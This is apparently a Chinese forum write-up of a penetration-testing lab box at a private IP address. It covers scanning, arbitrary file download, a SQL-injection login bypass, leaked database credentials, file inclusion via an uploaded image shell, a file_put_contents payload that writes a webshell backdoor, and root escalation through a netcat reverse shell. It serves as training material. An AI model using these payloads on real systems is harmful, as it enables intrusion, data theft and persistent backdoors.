Ip:192.168.88.148
Os:Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
Port:80;22
Server:apache 2.2.99;SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
linux Verson:Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
任意文件下载:test.php
sql注入:登录口的sql注入登录: usernaem: 1 or 1=1 -- wq ;password:a\;
数据库密码泄露,直接登录phpmyadmin:数据库密码在c.php中,phpmyadmin通过后台扫描得到。
文件包含与文件上传:文件包含在panel.php中,参数使用post传递,关键参数为continus和load。文件上传在主页功能界面,存在一个上传图片的功能。
shell获取:通过文件包含上传的shell写入一个新的shell,使用蚁剑连接后获得webshell。后门写入地址:upload_images/1.php
nmap:nmap --script-vuln;无
Nessus:无
普通shell:拿到一个普通用户,www的shell,但是可以查看passwd文件
提权:从www-data提权到root
使用nmap对主机存活进行一个探测。 nmap -sn 192.168.88.0/24
通过使用nmap探测到了主机ip,接下来需要对详细信息进行一个探测,比如,开放端口,操作系统,开放的服务,可能存在的漏洞信息等。可以使用nessus进行系统化扫描,也可以使用nmap进行扫描。
nmap扫描时使用的命令:nmap -p- 192.168.88.148; nmap -p[指定端口] -sV 192.168.88.148; nmap -O 192.168.88.148
通过访问浏览器,发现这个这个网页存在一个可登录信息外,基本没有,于是考虑使用扫描工具,对目录进行扫描。
使用dirb对网站目录进行枚举。 dirb http://192.168.88.148 [字典路径]
使用御剑扫描
访问到扫描的目录后,发现test.php存在一个异常,提示文件路径参数。
使用post传参以后,发现存在一个任意文件下载,而且通过扫描,已经大概知道了网站的目录结构,那么就可以实现任意文件的现在,变成白盒审计。
通过直接下载文件index.php,下载到了网站的主文件,发现了登录验证的方式,于是想着利用sql注入实现登录的效果。
这行代码使用了一个转义符对单引号进行转换,导致我们输入进行的所有东西都是一个字符串,单引号的效果也没有办法体现,于是想到考虑传入一个转义符,将他原来就有的单引号也进行一个转义,这样就可以构造我们需要的代买
echo 'select * from auth where pass=\''a\'\' and uname=\''or 1=1 -- wq.'\'';
【其中的引号全部为转义过后的引号,对数据库操作无影响。】
利用sql注入成功登录
在扫描到的文件:c.php中,下载后审计,直接发现了数据库的连接密码。
配合dirb扫描到的目录,发现phpmyadmin,可以直接登录phpmyadmin进行拖库等其他操作。
利用任意文件下载的漏洞,尝试将所有扫到的文件进行一个下载,然后对代码进行分析,然后发现了一个文件panel.php包含的漏洞。
发现了一个可控制参数,想办法在这个地方执行文件包含。
对关键的代码进行分析
if(isset($_POST['continue'])) #参数continue不能为空
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']); #将./替换为空,是为了防止目录穿越。
if($choice==='add') #参数choice不能为add
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show') #参数choice不能为show
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']); #传递的参数应该时load
}
}
使用添加图片的功能上传一个图片马,直接包含,成功获取到webshell.
构造包含的payload:continue=1&load=uploaded_images/as2.png
利用之前文件上传的成果,利用同时发现的文件包含,拿到一个webshell,但是使用蚁剑进行连接,发现连接失败,因为访问时需要验证登录。
利用之前的webshell写入一个新的后门文件
continue=1&load=uploaded_images/as2.png&8=file_put_contents('uploaded_images/1.php','');
再次使用蚁剑连接,成功获取到webshell
使用Nmap没有扫描到重要的信息
namp -p- 192.168.88.146 --script=vulners
使用nessus也没有搜索到具有价值的东西
初始拿到一个普通权限的shell
搜索msf中相对应的POC,经过编译后在webshell发现提权失败,但是弹出了一个#,考虑使用了shell反弹,利用nc反弹shell到了kali上,再一次通过提权,拿到root
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 50.00 | 0 | 2022-04-15 14:02:12 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.